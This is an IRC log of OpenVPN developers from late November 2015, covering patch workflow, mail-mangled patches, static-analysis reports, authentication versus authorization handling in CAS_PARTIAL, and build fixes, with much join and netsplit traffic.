<@plaisthos> came from Java/MSVC++ iirc 08:40 <@plaisthos> const int* foo (const foo) final const override; 08:40 <@plaisthos> :) 08:42 * cron2 is constfused by this discussion 08:57 <@plaisthos> cron2: in c++ you can declare an object const, like const Foo bar; 08:58 <@plaisthos> and if the object is const, you can also only call methods on that object which are marked const. E.g. int getX() const; but not void setX(int x); 09:22 <@cron2> mmmh, interesting 09:23 <@cron2> syzzer's patch cherry-picks to master, but does not actually compile because there's a new get_ipv6_addr call 09:23 <@cron2> (--show-gateway) 09:38 <@syzzer> cron2: that actually sounds plausible, yes :p 09:43 <@vpnHelper> RSS Update - gitrepo: remove nonsense const specifier in nonfatal() return value <https://github.com/OpenVPN/openvpn/commit/f544e388527066dcf17ea0e257b9182a7286e821> || Fix memory leak in add_option() by simplifying get_ipv6_addr <https://github.com/OpenVPN/openvpn/commit/4f19cd1ddde3929d4a715ad59cd603eff16c66bf> 09:45 * cron2 randomly pokes andj, valdikss and d12fk 09:49 <@vpnHelper> RSS Update - gitrepo: remove unused gc_arena in FreeBSD close_tun() <https://github.com/OpenVPN/openvpn/commit/cef57449b98c38deb35e885bd8958fe09f6a2b02> 09:55 * cron2 looks for dazo 10:02 <@cron2> oh, and poking reators as well, for good measure 10:05 * cron2 wonders what CAS_PARTIAL is there for 10:13 <@d12fk> cron2: here 10:13 <@d12fk> what's the poking about? 10:13 <@cron2> d12fk: I sent you feedback on your env variables patch on sunday - it doesn't apply (rebase needed?), and I think it shouldn't use memcpy() 10:14 <@d12fk> yes saw it today, will work on it tomorrow, the other patch also needs an update 10:14 <@cron2> good enough, thanks :-) 10:15 <@d12fk> what branch would you like to apply them to? 10:15 <@cron2> (I had time today to work on the patch queue - half of it was eaten up by gmane acting up, but I *did* get some progress) 10:15 <@cron2> "dazo-approved workflow" is "apply to master, cherry-pick to release/2.3 if applicable" 10:15 <@cron2> unless it's a bugfix for a 2.3-only bug, in that case "release/2.3" 10:15 <@d12fk> ok so i'll base them on master 10:15 <@cron2> thanks 10:16 <@d12fk> actually I could than *now* 10:16 <@d12fk> *do that* 10:42 <@cron2> argh 10:42 <@cron2> trac 10:42 <@cron2> *hate* 10:45 <@cron2> mmmh 10:45 <@cron2> community.openvpn.net has address 198.41.184.213 10:45 <@cron2> community.openvpn.net has address 198.41.191.212 10:45 * cron2 wonders if that might be part of the problem... one issues a cookie after login, the other one finds it invalid... 10:51 <@d12fk> cron2: updates to both patches incoming 10:52 <@cron2> saw the first one already :) 10:53 * d12fk wonders what caused the hunk offset in the first place 10:54 * cron2 moving around stuff maybe? 10:55 <@d12fk> branch was based on upstream/master.... now based on ed5d0fe5 10:56 <@cron2> so, feed kits now, wrangle more patches later 10:57 <@d12fk> both patches touch socket.[ch], maybe that's the problem?! did you apply both of them? 11:26 <@cron2> this might have been the reason... I went for the env variable patch first, because this is code bits that I know well - management, less so 11:35 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 12:13 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 14:39 <@vpnHelper> RSS Update - gitrepo: Avoid partial authentication state when using --disabled in CCD configs <https://github.com/OpenVPN/openvpn/commit/6c2d790ad8f10029e95aecb0d39377ef06ea8b2a> 14:53 <@cron2> d12fk: it still doesn't apply for me... but it's not only failing socket.c/socket.h, it is also failing multi.c which the other patch does not touch 14:55 <@cron2> yeah, right 14:55 <@cron2> tabs autoconverted to spaces 14:56 <@cron2> but why and how...? 14:56 <@cron2> (multi.c, the first closing bracket in line 1506 - there's a tab in the tree, and 8 blanks in your mail...) 14:56 <@cron2> if your editor did that, git should show it as a diff... 14:58 <@cron2> same thing in socket.c, the tabs in front of the arguments to "setenv_link_socket_actual" got all converted 16:03 <@cron2> d12fk: I think you'll need to a) point your git send-email towards mx6.sophos.com, and b) do a plaisthos-style dump of all the nice stuff in your tree :-) --- Day changed Wed Nov 25 2015 01:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 02:27 <@syzzer> mattock: any news on scan-reports@openvpn.net ? 02:27 <@syzzer> coverity requires me to add a notification_email to the .travis.yml, so I need an address before I can send a patch 02:37 * cron2 grumbles about options, combinations of options, and acked patches that break stuff... 02:53 <@cron2> syzzer: I just received a scan report 02:54 <@syzzer> ok, good. then the personal notifications work too :) 02:54 <@cron2> reading about get_user_pass_cr() *twice* in the morning does not exactly amuse me, though... 02:54 <@syzzer> did you get one including the defects, or just the summary? 02:54 <@cron2> defects+summary 02:54 <@syzzer> good 02:55 <@syzzer> it is a false positive, but I still think we should use snprintf() instead of strncpy() there 02:56 <@cron2> it's not an overrun, but is password_buf guaranteed to include the 0-byte in 128 bytes? 02:56 <@syzzer> yes, fgets() takes care of that 02:56 <@cron2> assuming password_buf is 128 bytes or shorter :) 02:57 * cron2 wonders why it finds "new defects" in socks.c though... that code is ancient 02:58 <@syzzer> yeah, I don't understand how that works either... 03:39 <@dazo> cron2: Hey! I'm here ... looking at the discussions about CAS_PARTIAL 03:46 <@cron2> dazo: yay :-) 03:46 <@dazo> I'm on paternity leave mon-tue, so those days are strictly allocated to anything but work or computer hobbies :) 03:47 <@cron2> dazo: I decided that it won't hurt to commit the 1-line fix for #521 right away, and go clean up the rest (and possibly *undo* that change) later on - James' comment about destructors has merits, which we don't do with that fix now 03:47 <@dazo> s/but/which is not/ 03:47 <@dazo> yeah 03:47 <@cron2> doesn't your daughter sleep? This is is when I get leeway to go hacking :-) 03:47 <@dazo> when she sleeps, I often need sleep too :-P 03:48 <@cron2> yeah... this... last weekend, $kid[0] slept fine, I was tired as hell, but $kid[1] kept coming out of her room "is it time to get up?" every 10 minutes... 03:48 <@dazo> heh 03:49 <@dazo> I'm having some thoughts on CAS_PARTIAL ... I do think it is a very useful feature, but it has a bug in the implementation - which means clients tries to reconnect continuously 03:50 <@dazo> I see this somewhat different, where I separate authentication and authorization 03:50 <@cron2> are you reading the trac or the mail exchange with james? 03:50 <@dazo> when the --client-connect phase happens, you are already authenticated ... but you may not be authorized 03:51 <@dazo> yeah, I do ... but I think he is wrong about mixing in authentication at this step 03:51 <@cron2> James is not wrong :) 03:52 <@cron2> (but that aside, I think the main point is that in the end, this serves as a marker for "we might need to clean up later" *and* still tell the client "go away, we do not like you (now)") 03:52 <@cron2> and from the client's pov, there should not be a difference between "plugin CLIENT_CONNECT refuses" or "--client-connect refuses" or "management refuses", so that part is definitely broken in our code 03:52 <@dazo> right ... and I'd like to see a ATHR_FAILED (Authorization failed), possibly with an indicated to "never come back" or "come back in XXX minutes" 03:53 <@cron2> you do not tell clients why they can't get in - you do not tell them whether their username or password is wrong, or their certificate isn't matching the username. You tell them "go away!" 03:53 <@cron2> and I don't think we should do protocol extentions here 03:54 <@dazo> right, but at --client-connect ... authentication has completed, username/password are correct and/or certificate is valid and approved 03:55 <@dazo> a --client-connect phase can, with my ATHR_FAILED with reason response suggestion, add features such as "you are only allowed to log in between 9-17" 03:55 <@dazo> and it will not be counted as a failed authentication (which can be used to automatically block accounts on too many attempts) 03:56 <@cron2> I'd like to see the bug fixed, not see a long round of protocol interop discussions, implementation tests with v3, v2.2, ... 03:56 <@dazo> well, to fix that bug ... you need to fix the authentication/authorization mix-up 03:57 <@cron2> (on a philosophical side, I do agree that this would be nice to have, but from a purely practical point of view, I'm not convinced the benefit outweighs the effort to get the needed protocol change in) 03:57 <@cron2> s/in/in and tested across all possible combinations of versions/ 03:59 <@dazo> well, to hack around an issue with old clients, it could look at the OCC version info ... if it supports ATHR_FAILED, then it uses that, otherwise it uses the not so right AUTH_FAILED - but I can accept that this is the only reasonable way to kill those clients 03:59 <@dazo> IIRC, AUTH_FAILED is a push response 04:00 <@dazo> So client configurations without --pull are doomed to do this wrong anyway 04:00 <@cron2> no idea how the chain of events continues after this... 04:02 <@dazo> which events are you thinking of ? Normally, it is --lean-address which is the next step ... but there are some cleanup and other minor things happening in between, but AFAIR, not that important in this context 04:03 <@cron2> well, I looked at this particular bit of code yesterday, and it does not send AUTH_FAILED :-) - but I did not look yet when *that* happens, and under which circumstances, and whether we actually tell a --no-pull client that he's supposed to go away again 04:03 <@cron2> (and can't look right now, my "I have lots of time for openvpn" day was yesterday...) 04:03 <@dazo> IIRC, --pull/--push are required for username/password auth ... if certificates fails, that happens at the earliest TLS steps 04:04 <@dazo> so certificates are not capable of using AUTH_FAILED at all, it is merely "no TLS connection for you" 04:04 <@cron2> right, that is easy - if TLS fails, you can't have a control channel to signal anything 04:09 * dazo need to run for a meeting 05:18 <@d12fk> cron2: it is not my editor, because i use the best editor in the world 05:19 <@d12fk> I'd rather blame the mail server. did you notice this unholy legal blurb at the bottom of the mail? this is added while relaying the mail. probably it mangles tabs into spaces. 05:20 <@d12fk> i'll try sending you the patch directly just to find out if it is our mta or something behind it, ok? 05:28 <@cron2> d12fk: ok (but knowing how exchange mangles my mails from $customer_site, I totally agree to that) 05:45 <@d12fk> cron2: the SA_NO_IP_SUFFIX is indeed a leftover from the 2.3 branch 05:46 <@d12fk> however I dislike the asymetry of the v6 vs. the v4 path in setenv_sockaddr() 05:47 <@d12fk> and the why _ip6 and not _ipv6 as suffix as used in other variables already? 05:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:01 <@d12fk> cron2: mx1 is not reachable on tcp 25, 465 or 587 06:01 * d12fk had it, will be relaying via my own mta now 06:18 <@plaisthos> hm :/ 06:18 <@plaisthos> d12fk: git am does not like your status patch 06:18 <@plaisthos> is the patch really against master? 06:18 <@plaisthos> error: patch failed: doc/management-notes.txt:366 06:18 <@plaisthos> error: doc/management-notes.txt: patch does not apply 06:19 <@d12fk> cron2: same problem probably. will resend both of them. 06:22 <@plaisthos> your mail gateway or whatever add the Sophos coperate and turning the into base64 might have broken everything 06:25 <@d12fk> plaisthos: jup 06:25 <@d12fk> while a tabs stays a tab even in base64. I think it's just doing evil thing to my mail. 06:27 <@d12fk> opened a ticket with IT, without much hope they will fix things 06:36 <@ecrist> cron2: I'm working on building a port update now 06:41 <@plaisthos> d12fk: I cannot convince git am even with ingore whitespace to apply your patch :( 06:43 <@d12fk> plaisthos: don't waste any more time on this. I'll get it fixed and resend 06:57 <@ecrist> cron2: PR 204805 07:00 <@d12fk> plaisthos: rebased again, now basing on davids partial auth patch. sending now 07:03 <@d12fk> plaisthos: v3 will contain tabs again, sorry for the mess 08:08 <@cron2> d12fk: thanks, ecrist: thanks :) (stuck in meetings until just now, and away again) 08:10 <@dazo> we really need to complete the 2.4 dev phase, so we can reformat the code style all over to be consistent 08:17 <@plaisthos> d12fk: that works 09:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 10:36 <@d12fk> cron2: shall we rename "ifconfig_ipv6_local" et al. to "ifconfig_ip6_local" as well 10:36 <@d12fk> is stupid have have both variants iip6 and ipv6 n the env, no? 10:53 <@d12fk> cron2: v3 of ip6 env patch sent 11:14 <@cron2> d12fk: I don't have any particular feelings wrt these env variables, so what you think is good is fine with me 11:21 <@d12fk> problem if we change it will be that we break script making use of them already, so maybe rather not 11:26 <@cron2> right... 11:31 < valdikss> hi guys 12:48 -!- dazo is now known as dazo_afk 14:37 < valdikss> I'm so stupid and I'm very short in time. Please fix v5 block-outside-dns 19:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 19:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:29 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 19:29 -!- dazo_afk is now known as dazo 20:11 <@vpnHelper> RSS Update - tickets: #631: Character limitation in config file, rest of line is read as new config line <https://community.openvpn.net/openvpn/ticket/631> --- Day changed Thu Nov 26 2015 00:07 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:34 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 265 seconds] 01:35 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 01:36 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 01:37 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 264 seconds] 01:39 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o plai] by ChanServ 01:39 -!- luckman212_ [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:40 -!- Netsplit *.net <-> *.split quits: luckman212, @mattock 01:40 -!- luckman212_ is now known as luckman212 01:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:41 -!- Netsplit over, joins: mattock 01:41 -!- Netsplit *.net <-> *.split quits: woodrow, @andj, s7r 01:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:42 -!- Netsplit over, joins: andj 01:42 -!- Netsplit *.net <-> *.split quits: siruf 01:42 -!- Netsplit *.net <-> *.split quits: @syzzer 01:46 -!- Netsplit *.net <-> *.split quits: @d12fk, @plaisthos, @vpnHelper, @dazo 01:59 -!- Netsplit over, joins: plaisthos 01:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:01 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 02:02 -!- Netsplit *.net <-> *.split quits: @plai, mator, ender| 02:04 -!- Netsplit over, joins: ender| 02:15 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 02:17 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:17 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:17 -!- dazo_afk is now known as dazo 02:18 -!- woodrow [sid13914@gateway/web/irccloud.com/session] has joined #openvpn-devel 02:30 -!- woodrow [sid13914@gateway/web/irccloud.com/session] has quit [Changing host] 02:30 -!- woodrow [sid13914@gateway/web/irccloud.com/x-fkgzoujxmuvhkcjn] has joined #openvpn-devel 02:37 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 02:37 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 02:43 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 240 seconds] 02:47 -!- Netsplit *.net <-> *.split quits: @syzzer, @dazo 02:49 -!- Netsplit *.net <-> *.split quits: mator 02:51 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:51 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:51 -!- dazo_afk is now known as dazo 03:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:37 <@mattock1> syzzer, cron: I received Coverity scan report yesterday morning - did you get one also? 03:37 <@mattock1> "New Defects reported by Coverity Scan for OpenVPN/openvpn" 03:38 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 03:44 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds] 03:45 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 03:45 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:07 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 04:07 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:38 <@syzzer> mattock1: yes, I did, but my mail is still in the travis config 04:38 <@syzzer> still, travis/coverity require me to add some email address in the config, so could you create a scan-reports@openvpn.net ? 04:39 <@syzzer> or should I just add some build-reports address, iirc something like that already exists, right? 08:23 <@mattock1> syzzer: yeah, creating a mailing list like that is on my todo, haven't just had time to do it 08:54 <@cron2> mattock1: does the NDIS6 tap actually work on XP? You can install it, and it then fails with "cannot open tap adapter" 08:56 <@cron2> (= in other words, shouldn't the I60x drivers refuse installation on XP or at least print a warning?) 09:01 <@vpnHelper> RSS Update - tickets: #632: I60x installers should warn (or refuse cooperation) on XP <https://community.openvpn.net/openvpn/ticket/632> 09:02 -!- pekster_ [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 272 seconds] 09:19 <@mattock1> cron2: I suspect it does not even install, but I have not tried 09:35 <@cron2> the installer pretends everything went well... 09:35 <@cron2> thus, #632 :) 10:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 10:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:43 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:14 -!- s7r_ is now known as s7r 12:39 -!- Netsplit *.net <-> *.split quits: mator 12:40 -!- Netsplit *.net <-> *.split quits: @dazo 12:42 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:42 -!- Netsplit over, joins: dazo 13:16 -!- Netsplit *.net <-> *.split quits: @plaisthos, @d12fk, woodrow, reators, lev__, @syzzer, @vpnHelper, EvilJStoker, @mattock1, arlen, (+10 more, use /NETSPLIT to show all of them) 13:17 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 13:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:17 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 13:17 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 13:17 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 13:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:17 -!- ServerMode/#openvpn-devel [+oooo d12fk dazo syzzer vpnHelper] by verne.freenode.net 13:17 -!- woodrow [sid13914@gateway/web/irccloud.com/x-fkgzoujxmuvhkcjn] has joined #openvpn-devel 13:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 13:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:17 -!- ServerMode/#openvpn-devel [+oooo plaisthos andj mattock mattock1] by verne.freenode.net 13:17 -!- reators [~holger@2001:1a80:2000:2:e4d6:beb1:9d3f:a249] has joined #openvpn-devel 13:17 -!- riddle [~decadance@us.yunix.net] has joined #openvpn-devel 13:17 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:17 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 13:17 -!- ServerMode/#openvpn-devel [+o cron2] by verne.freenode.net 13:20 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:31 -!- movrax [movrax@gateway/shell/anapnea.net/session] has joined #openvpn-devel 13:31 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 13:31 -!- movrax [movrax@gateway/shell/anapnea.net/session] has quit [Changing host] 13:31 -!- movrax [movrax@gateway/shell/anapnea.net/x-nkyzrpglzzrqybiz] has joined #openvpn-devel 13:33 -!- Netsplit *.net <-> *.split quits: @dazo 13:35 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 13:38 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:38 -!- Netsplit over, joins: dazo 13:41 -!- movrax [movrax@gateway/shell/anapnea.net/x-nkyzrpglzzrqybiz] has quit [Ping timeout: 260 seconds] 13:49 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 14:02 -!- arlen is now known as 77CAAA5E8 14:02 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 14:03 -!- Netsplit *.net <-> *.split quits: 77CAAA5E8 14:07 -!- arlen [~arlen@jarvis.arlen.io] has quit [Max SendQ exceeded] 14:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 14:14 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 18:27 -!- dazo is now known as dazo_afk --- Day changed Fri Nov 27 2015 00:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:36 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:39 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 272 seconds] 02:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:48 -!- Netsplit *.net <-> *.split quits: woodrow, mator 02:48 -!- Netsplit *.net <-> *.split quits: @dazo_afk 02:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 02:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:56 -!- woodrow [sid13914@gateway/web/irccloud.com/x-yswujwfletaglren] has joined #openvpn-devel 02:56 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:00 -!- woodrow [sid13914@gateway/web/irccloud.com/x-yswujwfletaglren] has quit [Ping timeout: 264 seconds] 03:09 -!- Netsplit *.net <-> *.split quits: @vpnHelper, floppym 03:18 -!- Netsplit over, joins: @vpnHelper 03:35 <@cron2> plaisthos: did you send your ACK to d12fk's management patch to the list or just to d12fk? I can see a reply to the ACK now, but did not see the ACK 03:40 -!- Netsplit *.net <-> *.split quits: @vpnHelper 03:40 -!- Netsplit over, joins: @vpnHelper 04:08 <@d12fk> cron2: nope I just hit reply to all, didn't add the list back in 04:10 <@cron2> strange... so where did it go... 04:31 <@plaisthos> cron2: probably only to d12fk 04:32 <@plaisthos> wrong sender address 04:32 <@cron2> ah! 04:32 <@plaisthos> so to the list and list rejected my sender 04:41 -!- Netsplit *.net <-> *.split quits: @vpnHelper 04:48 -!- Netsplit over, joins: @vpnHelper 04:52 -!- Netsplit *.net <-> *.split quits: @vpnHelper 04:52 -!- Netsplit over, joins: @vpnHelper 04:57 -!- riddle [~decadance@us.yunix.net] has quit [Ping timeout: 271 seconds] 05:30 -!- Netsplit *.net <-> *.split quits: @vpnHelper 05:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 05:42 -!- Netsplit over, joins: @vpnHelper 05:50 -!- Netsplit *.net <-> *.split quits: ender| 05:50 <@vpnHelper> RSS Update - tickets: #633: tls-enc - symmetric protection of TLS handshake <https://community.openvpn.net/openvpn/ticket/633> 05:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 06:17 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 06:45 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 264 seconds] 07:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 07:11 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 07:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:45 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 08:33 -!- Netsplit *.net <-> *.split quits: @vpnHelper 08:52 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 08:54 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:54 -!- ServerMode/#openvpn-devel [+o vpnHelper] by verne.freenode.net 09:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:24 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:50 -!- reators [~holger@2001:1a80:2000:2:e4d6:beb1:9d3f:a249] has quit [Quit: Leaving.] 10:52 -!- Netsplit *.net <-> *.split quits: @dazo, @pekster, @vpnHelper 10:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:55 -!- Netsplit over, joins: dazo 10:58 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 10:58 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:02 -!- ServerMode/#openvpn-devel [+o vpnHelper] by verne.freenode.net 11:33 -!- Netsplit *.net <-> *.split quits: @pekster 11:41 -!- Netsplit over, joins: pekster 11:41 -!- mode/#openvpn-devel [+o pekster] by ChanServ 11:46 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 246 seconds] 12:53 -!- dazo is now known as dazo_afk 14:26 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 14:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 15:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:47 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 16:47 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 18:09 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Remote host closed the connection] 20:11 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 21:00 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 21:04 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Remote host closed the connection] 23:48 -!- Netsplit *.net <-> *.split quits: @syzzer 23:49 -!- Netsplit *.net <-> *.split quits: @dazo_afk 23:53 -!- mator_ [~mator@u163.east.ru] has joined #openvpn-devel --- Day changed Sat Nov 28 2015 00:02 -!- Netsplit *.net <-> *.split quits: riddle, mator, Eagle_Erwin 00:03 -!- Netsplit over, joins: riddle 03:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:07 <@syzzer> hmm, clang is right that this is a bit weird: https://delft.syzzer.nl/openvpn-scan-build/2015-11-28-000023-20753-1/report-ff654d.html#LN242 04:07 <@vpnHelper> Title: init.c (at delft.syzzer.nl) 05:03 <@cron2> indeed 05:20 <@plaisthos> syzzer: and it is right 05:21 <@plaisthos> because ret is always overwritten in 267 05:21 <@syzzer> yes, exactly. I did not look at the surrounding logic though, so I'm not sure what happens if we 'fix' this... 05:22 <@plaisthos> hovering over streq is scary 05:22 <@syzzer> wow, indeed :') 06:05 <@cron2> strcmp() is bad enough 06:21 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 06:30 <@cron2> oh, wow, gmane is working 06:33 <@cron2> argh 06:35 <@cron2> non-working cruft in tree... 06:42 <@cron2> /rhome/gert/src/openvpn-maint/test-build-23/src/openvpn/../../../openvpn/src/openvpn/crypto_openssl.c:383: undefined reference to `crypto_msg' 06:43 <@cron2> syzzer: your patch does not work for 2.3 06:43 <@syzzer> hmpf 06:44 <@syzzer> need to leave in a minute, so will look into it later 06:44 <@syzzer> for now you could just leave out the error message 06:45 <@cron2> ok, will commit --amend and comment in the mail 06:45 <@syzzer> ok :) 06:47 <@syzzer> ah, even better, change the call to a normal msg() call, instead of crypto_msg() 06:48 <@cron2> msg(D_CRYPT_ERRORS, "RAND_bytes() failed"); 06:48 <@cron2> ? 06:48 <@syzzer> yes 06:49 <@cron2> time for "git gc" :) 07:48 <@vpnHelper> RSS Update - gitrepo: extend management interface command "state" <https://github.com/OpenVPN/openvpn/commit/2191c4716537b3d3e81b0e746f666dd365b65abd> || Fix rand_bytes return value checking <https://github.com/OpenVPN/openvpn/commit/5a73356ae5d0bf94ec81a33c7dcda6a41651ca6c> || openssl: properly check return value of RAND_bytes() <https://github.com/OpenVPN/openvpn/commit/756602e7da11362f25be04743cd09f798b6f528a> 08:08 <@cron2> init.c:1296: error: 'struct in_addr' has no member named 'ipi_spec_dst' 08:08 <@cron2> *sigh* 11:45 -!- 